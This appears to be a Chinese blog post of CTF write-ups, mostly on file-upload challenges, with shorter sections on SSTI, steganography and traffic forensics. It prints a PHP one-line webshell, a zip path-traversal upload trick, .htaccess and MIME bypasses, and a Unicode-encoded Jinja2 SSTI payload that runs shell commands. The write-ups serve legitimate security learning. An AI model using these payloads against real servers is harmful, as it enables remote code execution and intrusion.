文件上传upload

[第二章 web进阶]文件上传

这题直接给了源码,先分析一下

复制代码
$file = $_FILES['file'];

if(!$file){
    exit("请勿上传空文件");
}
$name = $file['name'];

代码首先从 $_FILES 数组中获取上传的文件,并检查是否存在文件。如果文件不存在,会提示"请勿上传空文件"并终止。

复制代码
$temp_dir = $dir.md5(time(). rand(1000,9999));
mkdir($temp_dir);

上传文件路径是随机生成,无法获取。

复制代码
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){

文件上传白名单,规定文件上传类型。

复制代码
foreach($archive->listContent() as $value){
    $filename = $value["filename"];
    if(preg_match('/\.php$/', $filename)){
        exit("压缩包内不允许含有php文件!");
    }
}

zip检测,检测zip里面是否含有php文件

复制代码
function check_dir($dir){
    $handle = opendir($dir);
    while(($f = readdir($handle)) !== false){
        if(!in_array($f, array('.', '..'))){
            if(is_dir($dir.$f)){
                check_dir($dir.$f.'/');
            }else{
                $ext = strtolower(substr(strrchr($f, '.'), 1));
                if(!in_array($ext, array('jpg', 'gif', 'png'))){
                    unlink($dir.$f);
                }
            }
        }
    }
}

check_dir函数,目录遍历。删除除了jpg/gif/png的所有文件。

由于我们上传除了zip的其他文件要被check_dir函数遍历,所以通过上传zip文件来获取flag,而且代码中存在Apache漏洞

先创建一个一句话木马文件,文件名为1111111muma.php.aaa

复制代码
<?php
@eval($_REQUEST[hack]);
?>

将其压缩为zip文件,将其放到010里面修改其里面木马文件的文件名,将其改为/../../muma.php.aaa,通过目录穿越来访问上传文件

上传成功后,直接访问/muma.php.aaa,获得flag

[GHCTF 2025]upload?SSTI!

这题是文件上传与ssti的结合,我们需要通过文件上传含有ssti语句的文件来获取flag,题目给了源码,先分析一下源码

复制代码
import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())


        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": "未上传文件"}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": "请选择文件"}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)



            # 返回文件路径(绝对路径)
            return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": "文件类型错误"}), 400

    # GET 请求显示上传表单(可选)
    return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f"文件查看失败: {str(e)}")
        abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403


if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

通过分析得到存在ssti漏洞,且过滤了一些ssti关键函数,这点我们可以通过unicode编码绕过;

文件上传限制了php文件的上传,我们创建一个txt文件,内容为:

复制代码
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

经过Unicode编码为

复制代码
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

然后我们可以通过/file/upload来查看我们上传的文件内容

然后上传文件

[GXYCTF 2019]BabyUpload

这题考察MIME绕过,.htaccess

这题源码设立了正则检查ph,经过尝试发现上传txt和png文件会出现报错。

先上传一个.htaccess文件将我们上传的jpg文件转换为php文件,上传时需要使用bp抓包修改Content-Type: image/jpeg

上传成功后,再上传jpg文件,或者要上传png文件也需要修改Content-Type: image/jpeg

[UUCTF 2022 新生赛]ez_upload

这题根据提示考察Apache和MIME绕过,这题不能上传php文件会出报错,先上传一个png文件,用bp抓包,通过Apache修改我们的文件名后缀

这里可以去了解一下apache(转载):在apache1.x和apache2.x中存在解析漏洞。

当一个文件为1.php.yy.xx的时候就会被当作php执行,这是由于在apache解析文件的时候有一个原则就是,以.后面的扩展名来解析,当遇见不认识的扩展名的时候,就会向前解析,直到遇到能够解析的后缀名为止。

如:1.php.yy.xx,首先会解析xx,xx无法解析就会去解析yy,yy无法解析就会去解析php,那么php是能够解析了,那么就会结束。

这种方式多用于绕过黑名单的检查。

成功上传文件后直接使用蚁剑链接

链接成功后发现真flag,这题环境变量中还存在一个假的flag

[SWPU 2024 新生引导]ez_upload

这题很基础,没什么难度,禁止上传php文件,先上传一个png或jpg木马,使用bp抓包,修改文件后缀名为php

上传成功后直接使用蚁剑链接获取flag

[SWPUCTF 2024 秋季新生赛]UploadBaby

这题跟上题做法一样,只是这题只允许上传jpg文件。

先上传一个jpg木马,再使用bp抓包,修改文件后缀名为php

最后使用蚁剑链接获取flag

[UUCTF 2022 新生赛]王八快跑

先查看一下是否有壳

无壳直接使用IDA打开,flag直接就在第一个函数中

[RCE-labs]Level 1 - 一句话木马和代码执行

这题是基础的rce,通过POST传参,先查看一下个根目录

发现flag,直接查看就可以了

谍影重重

解压后得到两个压缩包,一个进行了加密,一个进行了伪加密。

使用随波逐流将伪加密压缩包修复后得到一个零宽度隐写文本

解密后得到

Yunxi??????ixnuY,中间出现不明字符,需要生成字典进行爆破

爆破后得到密码为Yunxi8W==W8ixnuY,解压后得到一张图片,盲猜是图片隐写,放入随波逐流并没有提取隐写成功,但确实存在,且为steghide隐写,把yunxi.zip用010查看尾巴发现其密码

直接提取就可以了

GK

根据题目描述工控流量,我们需要去了解一下常用的工控协议

协议名称 常见应用场景 核心特点
Modbus TCP/RTU 各种小型系统、传感器、仪表 极其简单、明文传输、无认证
PROFINET 汽车制造、离散工厂(西门子系) 实时性强、诊断功能丰富
EtherNet/IP 北美制造业、物流仓储(罗克韦尔系) 兼容标准以太网、应用广泛
DNP3 / IEC 104 电力、水利等 SCADA 系统 专为广域网和远程监控设计
OPC UA 跨平台数据互联、工业物联网 面向对象建模、安全性高

然后通过协议分级去查找

发现一个常用的工控协议IEC,然后去查找iec60870_asdu

发现有很多,追踪一下TCP流

发现特殊字符串,解密后得到flag

FZ

根据题目描述直接查找flag,然后追溯TCP流,发现

里面包含zip文件,直接使用随波逐流进行文件提取

提取出压缩包后发现需要密码,密码在TCP流里面

解压后得到flag

[BJDCTF 2020]藏藏藏

下载附件后得到一张图片,图片隐写,隐藏了zip文件,使用随波逐流进行foremost文件提取

提取成功后得到一个zip文件解压后得到一个二维码

使用二维码扫描工具后得到flag

相关推荐
晓梦林4 小时前
HiddenGate靶场学习笔记
笔记·安全·web安全
六月雨滴5 小时前
Oracle 数据库网络安全之加密配置
数据库·web安全·oracle
姬成韶5 小时前
[BUUCTF 2018]Online Tool题目解析
web安全·网络安全·代码审计
ze^06 小时前
Day02 Web应用&架构类别&源码类别&镜像容器&建站模板&编译封装&前后端分离
前端·web安全·架构·安全架构
探索者017 小时前
SQL注入介绍
web安全·sql注入
ze^01 天前
Day01 Web应用&架构搭建&域名源码&站库分离&MVC模型&解析受限&对应路径
安全·web安全·架构·mvc·安全架构
祁白_1 天前
[BJDCTF2020]Mark loves cat (WriteUp)
web安全·ctf·writeup
祁白_1 天前
无字母数字 Webshell 绕过
笔记·web安全·测试·ctf
深邃-1 天前
【Web安全】-BurpSutie实战讲解(2):BP代理模块,BP重放模块,BP爆破模块,BP爬虫功能,BP解码模块,BP对比模块
爬虫·计算机网络·安全·web安全·网络安全·burpsutie